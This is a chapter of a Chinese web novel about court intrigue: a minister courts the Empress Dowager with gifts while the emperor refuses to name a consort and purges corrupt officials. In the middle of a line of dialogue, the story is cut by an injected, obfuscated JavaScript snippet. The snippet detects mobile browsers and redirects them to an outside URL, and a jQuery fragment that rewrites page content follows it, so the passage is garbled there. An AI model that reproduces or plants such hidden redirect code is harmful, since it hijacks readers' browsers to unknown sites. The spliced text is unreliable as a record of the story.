狄平的勤恳是举朝上下有目共睹的事实，他时常在宫中处理政事到三更之后，才乘着夜露回府。他的口碑逐渐逆转，渐渐地，大家都不再提他曾经造下的风流韵事了。
皇甫澍对他的辛勤工作大加赞扬。若他在宫中留到很晚，就会收到御赐的参汤，嘱咐他好好休息。这是旁人没有享受过的巨大荣耀，但狄平一直保持低调，从来不大肆宣扬恩宠，把人家的眼红变成了敬佩。
天气渐渐冷了。一日，狄平如往常一般走得很晚。一个他不认识的太监在门口等他很久了，他一眼看出此人不是从皇帝那儿来的。
“太后娘娘惦记您宵衣旰食，看夜里天气寒冷，嘱咐奴才给您送个手炉过来。”
狄平很高兴地笑起来，接过了梅花纹手炉，揣在怀里，说道：
“劳烦公公替我感谢太后厚爱。”
他又从大袖里掏出一个用莲纹绸布裹住的包裹，鼓鼓囊囊的，交给太监。
“正巧，舍妹想到快要入冬，自作主张为太后做了一条抹额，托我呈给太后，以表达一点孝心，还请您代我献上。舍妹针脚粗鄙，望太后不要嫌弃。”
“小姐有心了。”
后来三人议事的时候，皇甫澍跟狄平提起了这件事。
“母后很喜欢你妹妹做的那条抹额，出门时一直带着，爱不释手。”
娄庄姬笑：“确实做的很好，比宫里的手艺还要好呢。”
狄平谦虚道：“娘娘这么说，舍妹可就承受不起了。”
“真是个有心的姑娘，她闺名是什么，如今多大了？”
“小妹名叫鸣岐，年方十八。”
“凤鸣岐山四方扬，女命逢此大吉昌。你妹妹这名字起得好，是有福气的人。”
狄平替妹妹答谢，又客套了几句，继而话锋一转道：
“近些天，朝中议论着，后位不宜久悬，望陛下尽早立后，充实宫闱，绵延子嗣。”
他一说完，殿上的两个人原本轻松的神色一下子变得严肃起来。
“朕暂时还没有这个想法。”
“此事确实应该趁早提上议程。”
两人几乎是同一时间说道。话音刚落，面面相觑。
狄平见二人意见不统一，作为知情人轻笑了一声，选择了与娄庄姬站在同一边。
“臣觉得太后娘娘言之有理，陛下膝下还未有皇子可继承大统，照此长久下去恐怕人心不稳。”
“朕还年轻，你们就考虑到朕的位子谁来继承的问题了？”皇甫澍嗤笑。
“陛下，先帝在您这个年纪时，已经有两位公主，若微臣没有记错，那时您也降生了。”
皇甫澍不屑一顾道：“在先帝眼里，朕可没有降生。”
狄平沉默。
娄庄姬在一旁愁眉不展。她早就料到会有这么一天，会有这么一件事要考虑，但在此之前，她一直凭借沉浸在相爱的美梦中来欺骗自己，一再拖延。爱意短暂地冲昏了她的头脑，现在她必须清醒，必须思考并抉择了。
狄平走后，她主动开口提起这件事，却被皇甫澍打断。
“我不会立皇后，更不会要妃嫔，你放心。”
“我放心有什么用，子嗣怎么办，你的位置谁来继承？”
皇甫澍意味深长地看着她。
“想什么呢，那你要怎么向天下人解释孩子的来历。”
他思索了一阵说，”实在不行，我就把皇位交给诚弟，或者诚弟的孩子；再不行，我就效仿尧舜，禅让给贤人。”
娄庄姬愣住了，这种话说出来，放到朝堂上不知要吓倒多少大臣。
“胡说。”
“不是胡说。如果君王的孩子都是傻瓜，从傻瓜里面选人来继承，不管怎样对国家都不益。我觉得古代君王的做法是对的，治理国家的人，一定要是最贤能的人才行。”
“如果现在有一个人比你贤能，你会把位置让给他吗？”
“会。”他斩钉截铁。
这件事两人不再提起，但娄庄姬的神经变得紧张了，两人私下里，她也经常心不在焉，一问：
“你怎么了？”
只答：“没怎么。”
追问无果，皇甫澍只得作罢。
不巧的是，狄平提出的兵役取代赋税的方案在民间执行时，出现了强抢壮丁的情况。有官员不论青红皂白就要抓人服兵役，想逃过去就要交比税赋更多的钱粮。被勒索的人家气不过，一咬牙跑到京师报案，一路上哭天抢地，十分轰动。
皇甫澍听后大怒，势必要整治恶官欺民，连带着查处一众先帝时的贪官污吏。整个大梁官场人人自危，生怕下一个被审问抄家的就是自己。一层一层找关系，请娄庄姬帮忙包庇作保的人也有不少。娄庄姬还没来得及有什么行动，甚至没有表态，内阁一位素来以直言不讳闻名的大臣就在早朝上明晃晃地指责，说有人妄求太后之名包庇，希望太后于内宫中恪守礼法，不要参与政事。
娄庄姬一听就恼了。她还什么都没有做，就被扣上一个包庇的帽子。而皇甫澍这几天政务繁忙，焦虑不已，顾不上宽慰她，只对她说：
“您就先别出面了吧，不然事情就更乱了。”
娄庄姬此前一直做着背后辅佐谋划的工作，并不明面上登上政治舞台。怕的就是被指指点点，反而行事不利。却没想到哪怕她不做什么，恶名也会自己找上门来。
她忍受了三天于禁庭之中不问外事，拈花喝茶的悠闲日子。第一天还算放松，第二天便觉得无聊得像有虫子在爬，第三天就忍无可忍，觉得这样和关紧闭有什么区别？她怀念大权在握的时光，连辅佐皇甫澍的日子与那段时光相比都显得暗淡无聊。权力是沾了一次就再也甩不掉的东西。她决心摆脱失权的处境，熊熊的报复欲又燃起来。
这时候，狄平又托人送上一件狐裘。自从送抹额以后，他一直不断地献上礼物，都说是为了报答太后垂爱。娄庄姬当即召见他。
她也不拐弯抹角，直接说：
“皇帝近日整治不正之风，你怎么不全力襄助，反而忙着给我送礼物？不怕人家说，太后包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974368|193489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庇你吗？”
“微臣并无贪污受贿之事，岂惧人言？”
“如果在他们口中你做了，能奈之何？”
“那就请他们放心来查吧。”
“真让他们查，他们反倒不敢了。只要能把脏水泼出去，他们的目的就达成了。”
“看起来，您心里窝着火呢。”
娄庄姬冷笑。
他说：“他们这些人，最厉害的就是一张嘴，连陛下都要让着他们，不然稍有得罪，在后世就会留下骂名。只不过，这些人当中，有的是真心谏言，有的却只是哗众取宠，实则不做实事，于国有害。”
“说的是。当下百废待兴，需要的是做事的人，而不是耍嘴皮子、揪着人错处不放的人。这些人，也算是冗官，不知狄相可有法子处理？”
狄平稍一思索，答道：
“谏官是祖宗留下来的传统，不宜贸然更改，但太后何不使针尖对麦芒，彼此制衡？”
娄庄姬了然于胸，欣然道：
“要请狄相为本宫安排妥当人选了。”
很快，朝堂上就出现了更多新的声音。有指责征兵案相关官员的同僚为了使对手定罪，对百姓疾苦坐视不管任由事情闹大的；有责骂那些疯狂举报他人的官员公报私仇，无视行政效率瘫痪的；还有人说，很多被处罚的官员能力远胜过自诩清廉的人，此次清洗会损失很多人才。
皇甫澍本来看案卷已经一个头两个大了，朝堂上持续不断提出的质疑更让他难以应付。他只得去问自己最信任的人：
“选择为官者，到底是看中清廉？还是看中能力？”
娄庄姬会心一笑。
“岂不闻‘沧浪之水清兮，可以濯吾缨；沧浪之水浊兮，可以濯吾足‘，任用什么样的臣子，完全看你当下需要。”
皇甫澍露出佩服的表情，就像在冷宫时，他看着为他讲授诗书的师父一样。娄庄姬看到他闪闪发光的眼睛，心中窃喜。
朝中存在一股太后的势力，很快就成为群臣的共识了。
狄平与娄庄姬的往来也愈发密切了，当皇甫澍忙于政事的时候，狄平总是会放下自己手中的事务，殷勤地给娄庄姬汇报朝堂上的动向，确保她不错过一个任何消息。
娄庄姬赐膳的次数也越来越多，狄平成了上阳宫的常客，这位年轻英俊的丞相吸引了不少宫人的目光，紫色的官服成为宫中一道显眼的风景。有些活泼胆大的宫人见了他还会打趣说：
“狄大人，又去上阳宫吗？”
宫中风言，太后与狄相会在同一方桌几上推杯换盏，会互诉衷肠。更有传言，太后与狄相很早之前就相识，狄相一表人材、年轻有为，又很会讨女人欢心，太后已经看上他了。
这种风言的可信度，又由于狄平之前与二公主的风流事儿而加深了。
传言自然没有逃过娄庄姬四通八达的耳目，但她本人似乎并不打算熄灭流言，而是任其传播。宫人将其解读为对传言沉默的佐证，愈发沸沸扬扬。
唯一不高兴的，只有皇帝。